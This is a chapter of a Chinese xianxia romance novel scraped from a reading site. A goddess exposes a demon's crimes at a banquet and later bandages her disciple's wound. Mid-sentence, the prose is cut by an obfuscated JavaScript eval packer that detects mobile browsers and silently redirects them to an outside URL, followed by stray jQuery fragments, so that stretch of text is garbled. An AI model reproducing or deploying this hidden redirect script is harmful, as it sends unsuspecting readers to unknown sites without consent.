默认冷灰
24号文字
方正启体

7. 包扎伤口

作者:鹿谣本书字数:K更新时间:
    魑天獒的话一落地,四下皆惊。


    不消说凤溪神君只是在切磋中无意打伤了连宇世子,就算凤溪神君他故意打伤连宇世子,也不能这样处置。


    这已经不是从重了,是降天谴的程度。


    就连向来风轻云淡的胥辰都觉得魑天獒这话僭越无礼,脱口而出一句“放肆”。


    扶月也被魑天獒的话逗得想笑。想了想她如今的身份,才强忍着没笑出声。


    “切磋中失误打伤他人,就要挨这样重的处罚吗?”扶月用玩味的眼神望着魑天獒,“那若明知六界有不允许跨界伤人的戒律,却还是置若罔闻,故意跨界伤害甚至杀害数人,岂不是要挨更重的处罚?”


    魑天獒无视扶月玩味的眼神,信口道:“这是自然。六界之内,我唯尊妖帝与父神之令。不允许跨界伤人的戒律是父神定下的,我辈自当遵从。”


    听到魑天獒口中吐出“父神”两字,扶月的眼神不由得温柔起来,脸上的笑意也在瞬间褪去,“我很欣喜。”她道,“还有人记得父神,还愿遵他定下的规矩。”


    用温柔的语气说完这句话,扶月长吁一口气,微微偏头看向身后的凤溪。


    凤溪亦回望她。


    “卷宗。”扶月言简意赅道。


    凤溪心领神会。骨节分明的指头快速扭动,捏出复杂法诀,他闭上眼睛,向面前虚空低喝出声:“卷来。”


    不过须臾间,一卷闪耀金光的竹简便出现在凤溪掌心。有见多识广的人当即惊呼出声:“是箴言簿!”


    箴言簿是六界盛行的记载工具,簿上所载均为真人真事,作不得假。


    扶月伸手取过,当着众人的面将竹简展开。


    竹简上,是一行行用金漆誊写的小字。扶月手捧竹简,高声朗读道:“仙历四千一百二十年四月十七,于逐鹿之野,重伤魔界一平民;仙历四千二百八十年八月二十四,于凡界筑基山与同仁切磋,打斗中炸飞的碎石落入附近一村庄,伤十三人,致死一人……”


    随着扶月的声音传遍四遭,魑天獒的表情也由狂妄自信转为瞠目结舌,而后又转为惊慌失措。


    这、这些事情,扶月怎会晓得!她甚至还记在了箴言簿上!


    一口气点了十来个日子,竹简上的内容才只读了一半。扶月觉得腮帮子疼得慌,她远远将竹简丢给魑天獒,冷着脸道:“不想读下去了,二当家的自己看罢。你近年所犯戒律,桩桩件件都记在这上头,若有漏记的,看完后提醒我,我着人给补上。”


    “你怎会知晓这些事?”魑天獒用力地握着竹简,满脸写着不可置信,“难道你长期派人跟踪我?”


    扶月没有正面回答,只说了句俗语:“若要人不知,除非己莫为。”


    握着竹简的手用力到指节发白,魑天獒气得几乎要现出原形,“是你!”他猛地移动身形,窜到垂手而立的凤溪面前,死死瞪着他道,“你是她最得力的助手,定是你师徒二人使了什么禁术,长期跟踪窥探我的隐私!”


    发怒的上古大妖龇牙咧嘴、面容可怖,凤溪淡然平视魑天獒,苍白的面容上不见情绪起伏:“师尊说了,若要人不知除非己莫为。”他重复一遍扶月的话,不卑不亢道,“晚辈认为,您现在该思考的,是等下如何收场。”


    他直视魑天獒红得发亮的眼睛,分步不让,脊背挺拔道:“一件两件,处置起来不痛不痒;这么多件,应当够二当家的喝一壶。”


    纷纷议论从耳畔掠过,扶月借着幽暗的萤火光辉,细看自己干净的手指甲,慢慢悠悠道:“近年来六界歌舞升平,久不见祟物作乱,我这双手,已久不沾染血腥了。你——”她以命令的口吻差使魑天獒,“自己到魔帝跟前领罚。”


    “哈哈哈!”魑天獒仰天长笑,施法焚烧记有他“丰功伟绩”的竹简:“父神当年对六界说,你得他真传,在他身侧历练多年,又心慈手软,最适合成为新的六界共主。”他咬紧一口参差不齐的牙,看向扶月的眼神几欲喷火,“世人都信了,只有我知道,你不是真正心慈手软,你扶月就是个睚眦必报的小人!”


    箴言簿性质特殊,毁坏了也有存档。


    扶月心态好,尤其擅长左耳进右耳出,魑天獒这番话说得慷慨激昂,她权当是在夸她。睨一眼箴言簿焚烧后的黑灰,扶月无视魑天獒,高声向外道:“风使何在?”


    冥界负责传话的风使慌慌张张从人群中跑出来:“小的在。”


    “替我到魔界走一趟,传个话给魔帝。”扶月温声交代风使,“你替我告诉魔帝,如何责罚魑天獒,全由他定夺,我不过问。只是有一条,我希望他秉公执法,莫徇私情。”


    冥界的小风使匆忙叩首,“是,主母娘娘,小的记下了。”


    小风使领了扶月的令,再叩首后,一路小跑着去取通关的文书。


    扶月目送他离去,唇角微微上扬,凝固成一个微妙的角度。


    魑天獒说她是个睚眦必报的小人,这话兴许没错。


    其实他们之间的仇怨并不深,只是混沌时期打过几次架,其他的倒没什么。


    但那日魑天獒与手下妖兵的对话,扶月却一直记在心上,尤其是那句“浑身上下白毛都没长一根”,太难听了,她想忘都忘不掉。


    父神曾说过,他所收的三个义女中,数她性格最好,却也最恩怨分明。


    数千年来,她一直派各类飞鸟灵兽暗中跟随魑天獒,收集他的各类罪证,只为等这一天的到来。


    眼见着风使领令离去,魑天獒心里终于有点慌了。他敢当众与扶月叫板,是因扶月身份特殊,他笃定扶月忌惮六界悠悠众口,不敢当众与他这个上古时代的旧人起争执。


    可如今这贱人拿住了他的把柄,还聪明地借魔帝的手来处置他。他不仅没让扶月下不来台,反倒给自己找了霉头……


    魑天獒又慌又气,脑门上开始爆出一道道黑色的筋:“好个扶月!”他的声音陡然变粗,额头上冒出两个尖角,后背的衣服也被皮肤撑得裂开,“三千年前我就该撕碎你!”


    妖兽化形,骤起疾风,吹得现场的宾客们跌跌撞撞、东倒西歪,衣衫猎猎声不绝于耳。


    凤溪抽出星澜剑,上前一步挡在扶月前面:“师尊小心。”


    “不必紧张。”扶月站稳身形,眼神轻蔑地看向魑天獒,“他打不过我。”


    眼看着魑天獒就要现出穷奇兽的原形了,倏地,打正殿大堂内传来一句娇媚话语:“怎么了怎么了,谁惹我阿姐不高兴了?”


    是阿云珠,她总算换好衣裳了。


    阿云珠新换了一身曳地长裙,主色还是她最钟爱的朱红色。这条新裙子的腰部剪裁得极好,可以露出她纤细的腰身。随着她向前走动,腰肢也左右扭动,看起来格外妩媚动人。


    “阿姐不高兴,我就不高兴。”阿云珠停步在冥王殿巨大的门扉下,朱唇轻启,风轻云淡吐出一句话:“我不高兴,你们都别想高兴。”


    一句话直接将场子镇住了。


    慌乱的宾客转瞬恢复镇静,捏避风诀的捏避风诀,整理衣裳的整理衣裳。原本快要化形成功的魑天獒也恢复人身,脑门顶上冒着烟雾,衣裳后面被撑得破破烂烂的。


    阿云珠有多疯狂,今日来赴宴的宾客都知道。


    她高兴时,可以将万年积攒的金银珠宝全部赠人;她不高兴时,挥一挥手,便能将数万人在一瞬间变作齑粉。


    总而言之,是个暴戾无常的。


    以前有父神约束,父神陨落后又有扶月娘娘约束,阿云珠才能安安稳稳待在冥界。不然依照她这个性子,不晓得要祸害多少人。


    有时候好好说话是没用的,推心置腹以礼相待,倒不如发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414493|184690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一场疯效果好。


    在阿云珠笑里藏刀的威胁下,众人纷纷回归殿内,魑天獒也提前离席,回妖界等候发落去了。


    丝竹管弦声再次响起,冥界还是热热闹闹的,仿佛刚刚那场风波没有发生过。


    冥帝阿云珠的五千岁生辰之宴在傍晚落下帷幕,冥界仍旧昏暗沉郁,天地间却布满灿烂云霞。


    与阿云珠和胥辰大帝分别道别后,扶月和凤溪踏上返程。


    冥界到天上天,可以御风,也可腾云。扶月今天吃了不少酒,虽然没醉,脑袋却晕晕的。


    她选择和凤溪同驾一朵祥云。


    云头上风大,扶月和凤溪盘腿而坐,这样能减轻些阻力。飞过一处山头时,凤溪偏首望向扶月,犹豫着问出他忍了许久的那句话:“方才师尊与冥帝交谈时,她说你在找一本古籍。”他收紧眸光问扶月,“什么古籍?怎么师尊从来不曾对我说起过?”


    扶月闭目养神,盘腿坐得板正,只凭表情看不出她在想什么:“阿云珠胡沁罢了,不要往心里听。”


    凤溪眨眨眼,轻轻“哦”一声。


    不知信没信。


    祥云又飞过一处山头,扶月睁开眼睛,视线落在凤溪身上:“手给我看看。”


    凤溪挽起宽大的衣袖,将手伸到扶月面前。他的掌心纹路清晰,手指瘦长挺直,右手虎口处,有一道半个指头那么长的割痕,血迹已经干涸。


    “没事,小伤口。明日便会愈合。”凤溪温言宽慰扶月。


    扶月就知道凤溪受伤了。刚刚魑天獒准备化作原型时,凤溪匆忙拔剑挡在她前面,她看到星澜剑的剑气擦过了他的手。


    星澜剑以锋利闻名六界,不单剑锋能伤人,剑气也可伤人。


    “下次不许再护在我前面。”扶月从衣服下摆撕下一块长条布料,绕着凤溪受伤的手横向缠绕一圈。“我比你年长,打斗的经验也比你丰富,以后再遇到这种情况,还是让我护着你罢。”


    凤溪盘腿坐在祥云上,浓密的睫毛轻颤,任由扶月替他包扎伤口:“师尊信不过我?”


    扶月在凤溪掌心打一个漂亮的活扣,发自肺腑道:“这世上芸芸众生,我谁都不信,只信你和君岚。”顿一顿,又补充道,“阿云珠偶尔也能信一信。”


    凤溪迎着色彩缤纷的晚霞抬起右手。晚风轻抚扶月亲手挽成的活扣,他望着在风中摆动的布条,唇角小幅度地弯了起来。


    扶月捕捉到他这抹浅笑,胸膛“突突”跳动两下。她暗自腹诽:这家伙,笑得那么好看作甚。


    她移开眼,重又摆出打坐的姿势,清清嗓子对凤溪道:“我睡一觉,到碧霄宫再喊醒我。”


    凤溪的话音里也带着笑意:“好。”


    扶月原本打算闭目休息会儿,没打算真睡觉,可眼睛闭着闭着,竟真的睡着了。


    大概是喝了酒的缘故。


    多亏凤溪眼疾手快,一把扶住她东倒西歪的身子,扶月才没从七彩祥云上掉下去。


    接住扶月的瞬间,凤溪快速捏了个隐身诀,罩住他们乘架的这朵祥云。接着,他将扶月发间硌人的金枝步摇摘下,收进袖子里,又轻柔地调整扶月的睡姿,让她的头轻轻靠在他的膝头。


    整套动作行云流水,不晓得做过多少次了。


    风从四面八方涌来,吹乱了扶月的头发。凤溪把那些吹到她脸上的头发温柔抚开,漆黑的眼珠子放肆打量着她姣好的脸庞,一下也不眨,一处也不放过。


    须臾,他勾起唇角,笑得心满意足。


    “李润乾。”睡着的扶月突然喊出一个人名。


    听到这三个字,凤溪唇角的笑意登时僵住。


    扶月的嘴唇嗫嚅几下,又睡意昏沉地说出三个字:“你去死。”


    凤溪抬起头,望着下界绵延起伏的群山,眼神一时复杂极了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)